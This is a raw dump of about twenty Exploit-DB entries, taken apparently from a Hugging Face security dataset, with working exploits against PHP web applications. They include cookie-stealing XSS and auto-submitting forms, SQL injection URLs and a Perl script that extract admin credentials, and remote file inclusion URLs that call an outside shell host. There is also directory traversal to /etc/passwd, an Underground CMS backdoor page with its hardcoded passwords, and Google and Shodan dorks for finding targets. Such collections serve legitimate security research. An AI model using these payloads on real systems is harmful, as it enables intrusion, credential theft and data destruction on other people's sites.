deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32842
Description: UMI CMS 2.7 - 'fields_filter' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-06
Author: Dmitriy Evteev

Exploit:
source: https://www.securityfocus.com/bid/34018/info

UMI CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to UMI CMS 2.7.1 (build 10856) are vulnerable. 

http://www.example.com/market/[content_dir]/?fields_filter[price][0]=%22%3E%3Cscript%3Ealert(&#039;XSS&#039;)%3C/script%3E&fields_filter[price][1]=1
Exploit-DB #35328
Description: UMI CMS 2.8.1.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46280/info

UMI CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

UMI CMS 2.8.1.2 is vulnerable; other versions may also be affected.

<form action="http://host/admin/news/edit/PAGEID/do/" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="referer" value="hello">
<input type="hidden" name="domain" value="host">
<input type="hidden" name="name" value=&#039;news"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="alt-name" value="altname">
<input type="hidden" name="active" value="0">
<input type="hidden" name="active" value="1">
<input type="hidden" name="type-id" value="23">
<input type="hidden" name="save-mode" value="Save">
<input type="hidden" name="template-id" value="2">
<input type="hidden" name="is-visible" value="0">
<input type="hidden" name="is-default" value="0">
<input type="hidden" name="perms_read[2373]" value="1">
</form>
<script>
document.main.submit();
</script>



<form action="http://[host]/admin/content/edit/PAGEID/do/" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="referer" value="google">
<input type="hidden" name="domain" value="[host]">
<input type="hidden" name="name" value=&#039;price3"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="alt-name" value="price">
<input type="hidden" name="active" value="0">
<input type="hidden" name="active" value="1">
<input type="hidden" name="type-id" value="10">
<input type="hidden" name="save-mode" value="Save">
<input type="hidden" name="template-id" value="2">
<input type="hidden" name="is-visible" value="0">
<input type="hidden" name="is-visible" value="1">
<input type="hidden" name="is-default" value="0">

</form>
<script>
document.main.submit();
</script>
Exploit-DB #47221
Description: UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-12
Author: Greg.Priest

Exploit:
# Exploit Title: [UNA - 10.0.0-RC1 stored XSS vuln.]
# Date: [2019 08 10]
# Exploit Author: [Greg.Priest]
# Vendor Homepage: [https://una.io/]
# Software Link: [https://github.com/unaio/una/tree/master/studio]
# Version: [UNA - 10.0.0-RC1]
# Tested on: [Windows/Linux ]
# CVE : [CVE-2019-14804]

UNA-v.10.0.0-RC1 [Stored XSS Vulnerability]#1

 Sign in to admin and look for the ["etemplates"] page (/studio/polyglot.php?page=etemplates)!
 Click ["Emails"] and edit the templates! Inject the JavaScript code into the ["System Name"] field!
 
 http://127.0.0.1/UNA/studio/polyglot.php?page=etemplates
 
https://github.com/Gr3gPr1est/BugReport/blob/master/CVE-2019-14804.pdf
Exploit-DB #32402
Description: UNAK-CMS - Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2008-09-22
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/31301/info

UNAK-CMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible. 

javascript:document.cookie = "unak_lang=1; path=/";
Exploit-DB #32150
Description: UNAK-CMS 1.5 - 'connector.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-04
Author: Sina Yazdanmehr

Exploit:
source: https://www.securityfocus.com/bid/30533/info

UNAK-CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

UNAK-CMS 1.5.5 is vulnerable; other versions may also be affected.

http://www.example.com/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=/file.type%00
Exploit-DB #2380
Description: UNAK-CMS 1.5 - 'dirroot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-16
Author: SHiKaA

Exploit:
#==============================================================================================
#UNAK-CMS <= v1.5 (dirroot) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.unak.net      
#                                                                      
#Version : v1.5                                            
#                                                        
#================================================================================================
#
#Dork : "Powered by UNAK-CMS"
#
#================================================================================================
#Bug in : fckeditor/editor/dialog/fck_link.php
#
#Vlu Code :
#--------------------------------
#      <?php //UNAK-CMS adaptation atanas@unak.net
#       error_reporting(E_ERROR | E_WARNING | E_PARSE);
#       $cf["unak"]["root"]=$_GET["dirroot"];
#       $u_a=$_GET["u_a"];
#       $sl=$_GET["sl"];
#       $u_url=str_replace("http://","",$_GET["u_url"]);
#       $u_url=str_replace("https://","",$u_url);
#       include($cf["unak"]["root"]."/cfg/config.php");
#       include($cf["unak"]["root"]."/engine/sessions.php");
#       $sid=$_GET["sid"];
#       is_valid();
#       ?>
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=http://SHELLURL.COM?&cmd=id
#http://sitename.com/[Script Path]/fckeditor/editor/dialog/fck_link.php?dirroot=http://SHELLURL.COM?&cmd=id
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
# Special Thx To : Str0ke & simoo & XoRoN & Saudi Hackerz
==================================================================================================

# milw0rm.com [2006-09-16]
Exploit-DB #26224
Description: Unclassified NewsBoard 1.5.3 - 'Description' HTML Injection
Type: webapps
Platform: php
Date: 2005-09-06
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/14748/info

Unclassified NewsBoard is prone to an HTML injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

post new message and paste into description field:
</div><script>alert(document.cookie)</script>
Exploit-DB #30792
Description: Underground CMS 1.x - 'Search.Cache.Inc.php' Backdoor Access
Type: webapps
Platform: php
Date: 2007-11-21
Author: D4m14n

Exploit:
<!--
source: https://www.securityfocus.com/bid/26521/info

Underground CMS is prone to a backdoor vulnerability.

Attackers can exploit this issue to gain unauthorized access to the application. Successful attacks will compromise the affected application and possibly the underlying webserver.

Underground CMS 1.4, 1.7, and 1.8 are vulnerable; other versions may also be affected. 
-->

<head> <title>Ucms v. 1.8 Np exploit</title> <script type="text/javascript"> function sethost(seite) { document.host.action = seite + 'index.php?&q=test&e=1'; document.all.data.innerHTML = document.host.action; } </script> </head> <body onLoad="sethost('http://www.example.com/')" > <h1>Ucms v. 1.8 Np exploit</h1> Actual Request:<div id="data"></div> <br /> Host:<input type="text" value="http://www.ucmspage.de/" onKeyUp="sethost(this.value);" /> <form id="host" name="host" action="http://www.ucmspage.de/" method="POST"> Password:<input type="text" name="p" value="ZCShY8FjtEhIF8LZ"><br /> <!-- Additional info: You need a password to activate the backdoor we found these passwords: ZCShY8FjtEhIF8LZ (UCMS 1.8) mYM1NHtWtZk2KwrF (UCMS 1.4) wVCQUyhTga5Nmft1 (UCMS [?]) Just go into the file or similar files to find the passwords, for every version there is another password --> Phpcode:<br /> <textarea name="e" rows="20" cols="100"> phpinfo(); ?> </textarea> <br /> <input type="submit" value="exploit"> </form> </body> <!-- It�s just a crime to do such thigs, so please use this exploit just for knowledge and not to destroy the warez pages... thank you for you attention... Have a nice day --> </html>
Exploit-DB #28492
Description: Uni-vert PHPLeague 0.82 - 'Joueurs.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-06
Author: DrEiNsTeIn

Exploit:
source: https://www.securityfocus.com/bid/19880/info

Uni-vert PhpLeague is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

This issue may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Versions 0.82b and 0.82 are vulnerable; other versions may also be affected.

http://www.example.com/[path]/consult/joueurs.php?id_joueur=-1'%20UNION%20SELECT%20pseudo,2,3,mot_de_passe,5,mail,7,8,9%20%20FROM%20phpl_membres%20WHERE%20id%20='1
Exploit-DB #50022
Description: Unified Office Total Connect Now 1.0 - 'data' SQL Injection
Type: webapps
Platform: php
Date: 2021-06-17
Author: Ajaikumar Nadar

Exploit:
# Exploit Title: Unified Office Total Connect Now 1.0 – 'data' SQL Injection
# Shodan Filter: http.title:"TCN User Dashboard"
# Date: 06-16-2021
# Exploit Author: Ajaikumar Nadar
# Vendor Homepage: https://unifiedoffice.com/
# Software Link: https://unifiedoffice.com/voip-business-solutions/
# Version: 1.0
# Tested on: CentOS + Apache/2.2.15

POC:
1. Go to url http://localhost/operator/operatorLogin.php and login
2. Capture the request in Burpsuite and use the payload as given below.
3. Observe the response which reveals the DB version of mysql.

Request:

POST /operator/operatorLogin.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 178
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost/operator/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=sosbriscgul9onu25sf2731e81

data={"extension":"((select 1 from (select count(*), concat(0x3a,0x3a,(select version()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b))","pin":"bar"}


Response:

HTTP/1.1 400 Bad Request
Date: Wed, 16 Jun 2021 12:49:56 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 139
Connection: close
Content-Type: text/html; charset=UTF-8

Query failed, called from: sqlquery:/var/www/html/recpanel/operator/operatorLogin.php:62: Duplicate entry '::5.1.73::1' for key 'group_key'
Exploit-DB #3106
Description: uniForum 4 - 'wbsearch.aspx' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-09
Author: ajann

Exploit:
*******************************************************************************
# Title   :  uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  ...
# Vendor  :  http://uniforum.biz/
# $$      :  $99

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//wbsearch.aspx (POST Method) [SQL]

Example:

//Fin the ->wbsearch.aspx Before, see "by User", it write ';update admin set [CREDENTIAL_REDACTED]'--

Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx
Username: Administrator
[CREDENTIAL_REDACTED]

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-09]
Exploit-DB #37216
Description: Unijimpe Captcha - 'captchademo.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-16
Author: Daniel Godoy

Exploit:
source: https://www.securityfocus.com/bid/53585/info

The Unijimpe Captcha is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/captchademo.php/%22%3E%3Cscript%3Ealert%28%27pwned%27%29%3C/script%3E
Exploit-DB #29504
Description: Unique Ads - 'Banner.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-22
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/22164/info

Unique Ads is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 1; other versions may also be vulnerable. 

http://example.com/uds/banner.php?bid=[SQL]
Exploit-DB #48166
Description: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
Type: webapps
Platform: php
Date: 2020-03-04
Author: NgoAnhDuc

Exploit:
# Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
# Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
# Date: 2020-02-04
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
# Software Link: https://github.com/UniSharp/laravel-filemanager
# Version: v2.0.0-alpha8 & v2.0.0
# Tested on: v2.0.0-alpha8 & v2.0.0
# CVE : N/A

PoC:

http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd
Exploit-DB #9099
Description: Universe CMS 1.0.6 - 'vnews.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-09
Author: Mr.tro0oqy

Exploit:
#!/usr/bin/perl -w
# Universe CMS 1.0.6 (id) Remote SQL Injection Exploit
# Demo : http://www.universe.uni.org.pl
# Download : http://www.universe.uni.org.pl/upload/universecms106.rar
# Found by : Mr.tro0oqy <Yemeni ana>
# E-mail : t.4@windowslive.com
# special thank for my teacher "Stack"
########################################
system("color e");
print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n";
print "\t\t0  Universe CMS 1.0.6 (id) Remote SQL Injection Exploit   0\n\n";
print "\t\t0                       by Mr.tro0oqy                     0\n\n";
print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n";
use LWP::UserAgent;
die "Example: perl $0 http://target.com/path \n" unless @ARGV;
$user="login";
$pass="password";
$tab="uni_users";
$b = LWP::UserAgent->new() or die "error\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/vnews.php?id=-1+union+select+1,2,3,4,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),6+from+".$tab."&print=1";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
        print "\ loading .....\n";
        print "\n[+] Admin User : $1";
}
if ($answer =~/<pass>(.*?)<pass>/)
{
print "\n[+] Admin Hash : $1\n\n";
print "\t\t#   %100   #\n\n";}

else
{
print "\n[-] Exploit Failed...\n";
}

# milw0rm.com [2009-07-09]
Exploit-DB #37887
Description: up.time 7.5.0 - Arbitrary File Disclose and Delete
Type: webapps
Platform: php
Date: 2015-08-19
Author: LiquidWorm

Exploit:

up.time 7.5.0 Arbitrary File Disclose And Delete Exploit


Vendor: Idera Inc.
Product web page: http://www.uptimesoftware.com
Affected version: 7.5.0 (build 16) and 7.4.0 (build 13)

Summary: The next-generation of IT monitoring software.

Desc: Input passed to the 'file_name' parameter in 'get2post.php'
script is not properly sanitised before being used to get
the contents of a resource and delete files. This can be
exploited to read and delete arbitrary data from local
resources with the permissions of the web server using a
proxy tool.

Tested on: Jetty, PHP/5.4.34, MySQL
           Apache/2.2.29 (Win64) mod_ssl/2.2.29 OpenSSL/1.0.1j PHP/5.4.34


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5253
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5253.php


29.07.2015

--


http://127.0.0.1:9999/wizards/get2post.php?file_name=C:\\test.txt
Exploit-DB #35668
Description: up.time Software 5 - Administration Interface Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2011-04-27
Author: James Burton

Exploit:
source: https://www.securityfocus.com/bid/47599/info

up.time software is prone to a remote authentication-bypass vulnerability.

Attackers can exploit this issue to bypass authentication and perform unauthorized actions.

up.time 5 is vulnerable; other versions may also be affected.

http://www.example.com:9999/index.php?userid=admin
&firstTimeLogin=True
&password=admin
&confirmPassword=admin
&adminEmail=admin () admin
&monitorEmail=admin () admin
Exploit-DB #3174
Description: Upload Service 1.0 - 'top.php?maindir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-21
Author: y3dips

Exploit:
------------------------------------------------------------------------------------
[ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion
------------------------------------------------------------------------------------

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : January, 21st 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv62-y3dips-2007.txt
Critical Lvl : Critical
------------------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Upload Service
version : 1.0
URL : http://bild-bearbeiten.de/
Download-path : http://bild-bearbeiten.de/scripts/upload_service_1.0.zip

---------------------------------------------------------------------------

1. Install directory are not being remove after installation process
2. Variables "$maindir" in top.php are not properly sanitized.

---------------top.php--------------------------------
...
include($maindir."config.php");
include($maindir."functions/error.php");
...
------------------------------------------------------------------


When register_globals=on and allow_fopenurl=on an attacker can exploit
this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/upload/top.php?maindir=http://127.0.0.1/shell.php?

Solution:
~~~~~~
- Remember to remove your install directory and change config.php permission
- Simply Sanitize variable $maindir on affected files. (eg. $maindir=" ";)
- Turn off register_globals

Notification:
~~~~~~~~~

vendor not contact yet

---------------------------------------------------------------------------
Shoutz:
~~~~
~ my lovely ana
~ k-159 (my greatest brotha), the_day (young evil thinker), and all echo staff
~ newbie_hacker@yahoogroups.com
~ #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

y3dips|| echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-01-21]
Exploit-DB #10684
Description: Upload-Point 1.6 Beta - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================            $
| # Title    : Upload-Point 1.6 Beta pload Shell Vulnerability                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10684                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Upload-Point 1.6 Beta                                                   |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://127.0.0.1/upload/index.php
|
| 2- http://127.0.0.1/files/c.php
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------